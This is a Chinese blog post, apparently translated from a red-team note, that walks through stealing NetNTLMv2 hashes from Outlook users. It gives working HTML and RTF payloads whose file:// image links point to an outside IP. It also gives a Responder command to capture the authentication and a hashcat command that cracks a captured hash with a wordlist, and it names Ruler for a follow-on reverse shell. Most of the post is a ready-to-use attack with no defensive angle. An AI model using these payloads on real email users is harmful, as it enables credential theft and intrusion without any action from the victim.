使用 Outlook 窃取 NetNTLMv2 哈希

最新推荐文章于 2024-07-07 12:10:24 发布

梦中北山

最新推荐文章于 2024-07-07 12:10:24 发布

阅读量326

点赞数 12

分类专栏：网络安全文章标签： outlook 哈希算法算法安全网络 php

本文链接：https://blog.csdn.net/aihua002/article/details/139887769

版权

网络安全专栏收录该内容

34 篇文章 0 订阅

订阅专栏

前言

如果目标系统没有运行最新版本的 Windows/Outlook，则可以制作这样的电子邮件，允许攻击者窃取受害者的 NetNTLMv2 哈希值，而无需用户进行任何交互 - 单击电子邮件预览它足以窃取哈希值。

武器化

让我们创建一个包含以下内容的新 HTML 文件：

<html>
    <h1>holla good sir</h1>
    <img src="file://157.230.60.143/download.jpg">
</html>

RTF 文件也有效：

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://157.230.60.143/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

然后通过单击窗口标题栏顶部的附件图标插入新文件：

选择恶意messge.html，然后选择：Insert as Text

您应该看到您的消息现在看起来像一个带有损坏图像的 HTML（在我们的例子中是预期的，因为图像的路径是假的）：

执行

启动以侦听来自受害者的传入 SMB 身份验证请求Responder

responder -I eth1 -v

.并将恶意电子邮件发送给受害者。

受害者视图

一旦受害者打开他们的 Outlook 并单击恶意电子邮件进行预览，他们的计算机将尝试向攻击者控制的服务器（运行 Responder）进行身份验证。这会将受害者的哈希值泄露给攻击者，然后他们可以尝试破解：NetNTLMv2

一旦哈希值被盗，我们可以尝试破解它：

hashcat -m5600 'spotless::OFFENSE:6bdb56c8140cf8dc:FFEF94D55C2EB2DE8CF13F140687AD7A:0101000000000000A5A01FB2BE9ED401114D47C1916811640000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000200000407D7D30819F03909981529F6ACA84502CFCC8B3555DBA34316F8914973DD03C0A0010000000000000000000000000000000000009001A0063006900660073002F00310030002E0030002E0030002E0035000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

在这种情况下，我们可以看到用户有一个非常简单的密码，该密码立即被破解：

下一步是使用 Ruler 从受害者公司网络获取反向 shell：

梦中北山

关注

12
点赞
踩
6

收藏

觉得还不错? 一键收藏
0
评论
使用 Outlook 窃取 NetNTLMv2 哈希

如果目标系统没有运行最新版本的 Windows/Outlook，则可以制作这样的电子邮件，允许攻击者窃取受害者的 NetNTLMv2 哈希值，而无需用户进行任何交互 - 单击电子邮件预览它足以窃取哈希值。
复制链接

扫一扫